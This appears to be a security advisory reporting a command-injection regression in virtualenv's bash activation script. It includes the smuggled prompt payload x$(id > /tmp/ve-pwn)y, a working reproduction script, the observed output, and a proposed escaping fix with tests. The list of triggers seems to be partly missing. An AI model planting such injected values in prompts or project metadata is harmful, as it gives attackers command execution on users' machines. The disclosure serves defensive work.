CVE-2026-115586

The bash activator puts the caller-supplied prompt value into PS1 unescaped whenever promptvars is off at activation time, and assumes prompt expansion can never run afterwards. promptvars and posix mode are runtime shell state, not a property of the activation moment: re-enabling prompt expansion in the same shell (shopt -s promptvars, set -o posix) or starting an interactive child bash that inherits the exported PS1 makes bash expand the stored value and run the command substitution in it. An attacker who controls the prompt value gets command execution as the user who sources bin/activate.

This is a regression. 21.14.8 escaped $ and the backtick unconditionally and stays inert under the same sequence. The 21.14.9 fix for GHSA-6w3r-xr62-4xcp (#3418) rewrote that block and left bash with a path that stores the raw value whenever promptvars is off.

Affected area

Activation scripts (activate, activate.bat, activate.csh, activate.fish, activate.nu, Activate.ps1, activate.xsh), specifically the bash bin/activate.

Attacker-controlled input

The --prompt value, which the security policy already lists as a value that may come from project metadata the user did not write. It reaches virtualenv as --prompt on the command line or as the prompt argument of the API, is written into bin/activate as the literal VIRTUAL_ENV_PROMPT assignment (correctly quoted, the value arrives there as data), and the script then copies it into PS1 without escaping $ or the backtick.

Example: a repository or tool config supplies a prompt such as x$(id > /tmp/ve-pwn)y; the victim creates and later activates the environment.

Details

Source of the latest release: src/virtualenv/activation/bash/activate.sh lines 140-160

if [ -z "${VIRTUAL_ENV_DISABLE_PROMPT-}" ] &&
    { [ -n "${BASH_VERSION-}" ] || [ -n "${ZSH_VERSION-}" ]; }; then
    _OLD_VIRTUAL_PS1="${PS1-}"
    # bash expands PS1 after decoding its prompt escapes when promptvars is on or in posix mode, so the prompt holds a
    # reference to the variable and its value never reaches that expansion; otherwise only the decode runs and
    # backslashes need doubling. ...
    if [ -n "${BASH_VERSION-}" ] && { shopt -q promptvars || shopt -qo posix; }; then
        PS1='(${VIRTUAL_ENV_PROMPT-}) '"${PS1-}"
    else
        _VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}"
        if [ -n "${ZSH_VERSION-}" ]; then
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}"
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}"
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}"
        fi
        PS1="(${_VIRTUAL_PROMPT}) ${PS1-}"
        unset _VIRTUAL_PROMPT
    fi
fi

Two separate mistakes combine:

1. A runtime shell option is treated as a constant. shopt -u promptvars at the moment of source does not bind the shell forever: shopt -s promptvars and set -o posix both re-enable PS1 expansion in the same shell. The code itself tests shopt -qo posix because posix mode expands the prompt regardless of promptvars, which shows the expansion state is not fixed by the activation.
2. The escaping that would keep the value inert in that mode is missing for bash. GHSA-5vjq-rrrf-7h2q ("activate runs commands from the environment name in zsh with PROMPT_SUBST") fixed exactly this shape for zsh, reasoning that "a user can set it after activation", by escaping $ and the backtick. Bash lost the equivalent escaping in the same commit that added the zsh branch.

The rendered prompt shows the regression directly:

21.14.8   PS1 = (x\\$(id > /tmp/ve-pwn)y)       <- escaped, inert
21.14.9   PS1 = (x$(id > /tmp/ve-pwn)y)         <- raw value
21.14.12  PS1 = (x$(id > /tmp/ve-pwn)y)         <- raw value

Relevant commit: 5f48d711 "fix(bash): preserve literal prompts in supported shells (#3418)", which removed the unconditional $/backtick escaping from the bash path. Advisory for that change: GHSA-6w3r-xr62-4xcp.

Proof of concept

Non-destructive payload: it runs id and writes the output to a file.

python -m virtualenv --no-seed --no-periodic-update --activators bash \
    --prompt 'x$(id > /tmp/ve-pwn)y' /tmp/venv-demo

cat > /tmp/rc <<'EOF'
shopt -u promptvars
. /tmp/venv-demo/bin/activate
shopt -s promptvars
EOF

# the prompt needs a tty; script(1) provides one
printf 'exit\n' | script -qec 'bash --noprofile --rcfile /tmp/rc -i' /dev/null

cat /tmp/ve-pwn

Observed on 21.14.12:

$ cat /tmp/ve-pwn
uid=1000(asrun) gid=1000(asrun) groups=1000(asrun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),999(ollama)

The prompt printed as (xy). The same script against 21.14.8 creates no file; against 21.14.9 and 21.14.12 it does.

Triggers, all run in a pty, activation itself never executing anything; execution happens at the next prompt redraw after prompt expansion is enabled:

The third trigger needs no explicit option change: the poisoned PS1 is inherited and the child bash expands it on its first prompt.

shopt -u promptvars is a documented way to make an expensive bash prompt cheap and appears in ~/.bashrc files for that reason; it is also the state left by some prompt wrappers. Whoever sources such an environment gets the unescaped value in PS1.

Versions tested

virtualenv 21.14.12 and 21.14.9 (affected), virtualenv 21.14.8 (unaffected control); CPython 3.14.7; Linux 6.x (WSL2); bash 5.1.16(1)-release. --prompt handling is platform independent; zsh/fish/csh/nu/PowerShell activators were not part of this report.

Known mitigation

For a user: activate with promptvars left at its default, or set VIRTUAL_ENV_DISABLE_PROMPT=1 before activating, which skips the whole prompt block. Do not pass an untrusted value to --prompt.

Fix in the activator: escape $ and the backtick for bash as well, in both branches, with a single backslash ($ -> \$, backtick -> \` , \ -> \\). Verified on bash 5.1.16 that a PS1 built that way is inert with promptvars on, with promptvars off, and with promptvars off followed by posix mode, while still rendering the literal value on screen. That is better than both current shapes: 21.14.8's four-level escaping left stray backslashes on screen, which is why the block was rewritten.

    else
        _VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}"
        _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}"
        _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}"
        if [ -n "${ZSH_VERSION-}" ]; then
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}"
        fi
        PS1="(${_VIRTUAL_PROMPT}) ${PS1-}"

For the tests, tests/unit/activation/test_bash.py::test_bash_prompt_options already parametrises ("before", "after", "expected") and covers before="shopt -u promptvars" with after="". The missing axis is the transition: ("shopt -u promptvars", "shopt -s promptvars", ...) and ("shopt -u promptvars", "set -o posix", ...), with the existing PWNED check asserting no file was created.

Latest release

• The problem reproduces on the latest virtualenv release.